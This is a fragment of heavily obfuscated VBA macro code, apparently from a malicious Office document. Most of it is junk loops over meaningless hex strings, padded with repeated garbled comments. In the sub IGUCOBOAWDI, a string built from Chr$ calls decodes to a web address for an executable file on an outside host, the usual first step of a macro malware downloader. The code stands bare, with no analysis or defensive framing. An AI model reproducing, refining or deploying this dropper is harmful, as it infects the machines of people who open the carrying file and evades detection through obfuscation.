Next zEcwNsqo
Dim qkGlxQGi, xcAxVvLl, OEfbndXZ As String
qkGlxQGi = HexToString("2020202020202020202020505444414644202020202020202020202020202020")
xcAxVvLl = LTrim(qkGlxQGi)
OEfbndXZ = RTrim(xcAxVvLl)

VippNTkx = RTrim(wCXhjoIe)

Dim mcaatrsw As Integer
For mcaatrsw = 0 To 4
Dim HFTLNdfM, QGGtmkQW, UHNjGwoC As String
HFTLNdfM = HexToString("202020202020202020202041494B414B4E202020202020202020202020202020")
QGGtmkQW = LTrim(HFTLNdfM)
UHNjGwoC = RTrim(QGGtmkQW)

DoEvents
Next mcaatrsw
Dim lMDhMwfK, sqRaQZZw, JyswVCmf As String
lMDhMwfK = HexToString("2020202020202020202020564650494B58202020202020202020202020202020")
sqRaQZZw = LTrim(lMDhMwfK)
JyswVCmf = RTrim(sqRaQZZw)

    Set VITXOMHNZWX = Nothing
Dim vSNlcThq, PKSxBllw, XBvbAuxY As String
Dim LRNraeNe As Integer
For LRNraeNe = 0 To 2
Dim SCCrccHA, aDeIZpzp, EVjZsYQR As String
SCCrccHA = HexToString("20202020202020202020204F5556485858202020202020202020202020202020")
aDeIZpzp = LTrim(SCCrccHA)
EVjZsYQR = RTrim(aDeIZpzp)

DoEvents
Next LRNraeNe
Dim KspAAlRo, rkXReyUl, ezvjaifK As String
KspAAlRo = HexToString("20202020202020202020204D4A4C435A51202020202020202020202020202020")
rkXReyUl = LTrim(KspAAlRo)
ezvjaifK = RTrim(rkXReyUl)

vSNlcThq = HexToString("20202020202020202020204A474C414750202020202020202020202020202020")
Dim fCgXfBgC As Integer
For fCgXfBgC = 0 To 9
Dim XMlDkFYY, KWEBSKrU, DXDquCAI As String
XMlDkFYY = HexToString("2020202020202020202020525153564146202020202020202020202020202020")
KWEBSKrU = LTrim(XMlDkFYY)
DXDquCAI = RTrim(KWEBSKrU)

DoEvents
Next fCgXfBgC
Dim vehyPPIw, klyJAJCB, CgFsFsGH As String
vehyPPIw = HexToString("2020202020202020202020414B56454652202020202020202020202020202020")
klyJAJCB = LTrim(vehyPPIw)
CgFsFsGH = RTrim(klyJAJCB)

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
PKSxBllw = LTrim(vSNlcThq)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim seXgvnjN As Integer
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
For seXgvnjN = 0 To 5
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim GdyMPsgu, lvlDlOVn, Yfbkbwpo As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
GdyMPsgu = HexToString("20202020202020202020204B4E554C4A4F202020202020202020202020202020")
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
lvlDlOVn = LTrim(GdyMPsgu)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Yfbkbwpo = RTrim(lvlDlOVn)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
DoEvents
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Next seXgvnjN
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim eRUukRvj, hPlpLkAn, AHtdmyTQ As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
eRUukRvj = HexToString("202020202020202020202055514F575150202020202020202020202020202020")
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
hPlpLkAn = LTrim(eRUukRvj)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
AHtdmyTQ = RTrim(hPlpLkAn)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
XBvbAuxY = RTrim(PKSxBllw)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim cUldPZax As Integer
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
For cUldPZax = 0 To 5
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim dEVPKQWM, oEiXdGlW, rRkoYMHC As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
dEVPKQWM = HexToString("2020202020202020202020444541434653202020202020202020202020202020")
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
oEiXdGlW = LTrim(dEVPKQWM)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
rRkoYMHC = RTrim(oEiXdGlW)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
DoEvents
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Next cUldPZax
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim YGyyHEaJ, btCJYPjm, raRdLyis As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
YGyyHEaJ = HexToString("202020202020202020202054514C52484E202020202020202020202020202020")
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
btCJYPjm = LTrim(YGyyHEaJ)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
raRdLyis = RTrim(btCJYPjm)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
     
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
End Function
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Sub IGUCOBOAWDI()
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim UrlENewP, ZtEGmiLQ, vyDaGsjS As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim yJdgYItr As Integer
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
For yJdgYItr = 0 To 2
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim cyZesefl, NjHCWnCD, guXnNsow As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
cyZesefl = HexToString("20202020202020202020204F584B435454202020202020202020202020202020")
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
NjHCWnCD = LTrim(cyZesefl)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
guXnNsow = RTrim(NjHCWnCD)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
DoEvents
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Next yJdgYItr
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim HChwpctf, zezvQsiv, foFAdBqO As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
HChwpctf = HexToString("20202020202020202020204C50584D4C46202020202020202020202020202020")
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
zezvQsiv = LTrim(HChwpctf)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
foFAdBqO = RTrim(zezvQsiv)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
UrlENewP = HexToString("20202020202020202020204348534C4B57202020202020202020202020202020")
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim KcXYlaXS As Integer
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
For KcXYlaXS = 0 To 5
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim HNUztUZs, SaKfbQNf, UzzbMHcg As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
HNUztUZs = HexToString("20202020202020202020205A464C594D50202020202020202020202020202020")
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
SaKfbQNf = LTrim(HNUztUZs)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
UzzbMHcg = RTrim(SaKfbQNf)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
DoEvents
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Next KcXYlaXS
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim YYZAVwBB, bCldGZfZ, tKaUzVtm As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
YYZAVwBB = HexToString("2020202020202020202020545552464D58202020202020202020202020202020")
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
bCldGZfZ = LTrim(YYZAVwBB)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
tKaUzVtm = RTrim(bCldGZfZ)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
ZtEGmiLQ = LTrim(UrlENewP)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim kcvhlCUu As Integer
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
For kcvhlCUu = 0 To 4
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim nxToAOqT, GdPSUmxf, kvBYjKyI As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
nxToAOqT = HexToString("2020202020202020202020454D474B565A202020202020202020202020202020")
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
GdPSUmxf = LTrim(nxToAOqT)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
kvBYjKyI = RTrim(GdPSUmxf)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
DoEvents
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Next kcvhlCUu
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim DoKwPLcW, BhRvdYny, qwjAFmRj As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
DoKwPLcW = HexToString("20202020202020202020204241475A574A202020202020202020202020202020")
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
BhRvdYny = LTrim(DoKwPLcW)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
qwjAFmRj = RTrim(BhRvdYny)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
vyDaGsjS = RTrim(ZtEGmiLQ)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim QJKSwSkF As Integer
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
For QJKSwSkF = 0 To 7
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim HJgxIlDa, SJvIecpz, UKIMxAUe As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
HJgxIlDa = HexToString("20202020202020202020205A4F4F484F45202020202020202020202020202020")
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
SJvIecpz = LTrim(HJgxIlDa)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
UKIMxAUe = RTrim(SJvIecpz)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
DoEvents
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Next QJKSwSkF
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim qxePLNXI, eSLwPuqs, IIAHCAzr As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
qxePLNXI = HexToString("20202020202020202020204D5A4B4C4B51202020202020202020202020202020")
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
eSLwPuqs = LTrim(qxePLNXI)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
IIAHCAzr = RTrim(eSLwPuqs)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
dygigGUIIU = HexToString(Chr$(54) & Chr$(56) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(52) & Chr$(55) & Chr$(48) & Chr$(51) & Chr$(65) & Chr$(50) & Chr$(70) & Chr$(50) & Chr$(70) & Chr$(54) & Chr$(54) & Chr$(55) & Chr$(50) & Chr$(55) & Chr$(53) & Chr$(54) & Chr$(57) & Chr$(54) & Chr$(52) & Chr$(54) & Chr$(70) & Chr$(50) & Chr$(69) & Chr$(54) & Chr$(52) & Chr$(54) & Chr$(53) & Chr$(50) & Chr$(70) & Chr$(54) & Chr$(65) & Chr$(55) & Chr$(51) & Chr$(50) & Chr$(70) & Chr$(54) & Chr$(50) & Chr$(54) & Chr$(57) & Chr$(54) & Chr$(69) & Chr$(50) & Chr$(69) & Chr$(54) & Chr$(53) & Chr$(55) & Chr$(56) & Chr$(54) & Chr$(53))
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim CYdKgqMW, ZAMdAYQS, mKQVlDah As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim CwhPUFzq As Integer
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
For CwhPUFzq = 0 To 9
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim UeswXEHw, XLjBahzr, vrTLPSQc As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
UeswXEHw = HexToString("2020202020202020202020555059424942202020202020202020202020202020")
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
XLjBahzr = LTrim(UeswXEHw)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
vrTLPSQc = RTrim(XLjBahzr)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
DoEvents
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Next CwhPUFzq
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim eVWTTqPK, grUIiBDe, fFqmyalA As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
eVWTTqPK = HexToString("20202020202020202020204E5051425255202020202020202020202020202020")
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
grUIiBDe = LTrim(eVWTTqPK)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
fFqmyalA = RTrim(grUIiBDe)
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04

'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
CYdKgqMW = HexToString("202020202020202020202044554358454A202020202020202020202020202020")
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim clzDANKj As Integer
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
For clzDANKj = 0 To 7
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
Dim nminSEgn, wwkSuUSZ, kwAVASpE As String
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
nminSEgn = HexToString("20202020202020202020204C56594B5149202020202020202020202020202020")
'ÏÃ(ØÏ0ð í9-öã-åöí9ó0ð Ðäìóòàùëïòëêóï 0íìóê9ãï-40 ïïò ó0êðå 0óêìðåø0óðê-å êóòì êùðå04
wwkSuUSZ = LTrim(nminSEgn)
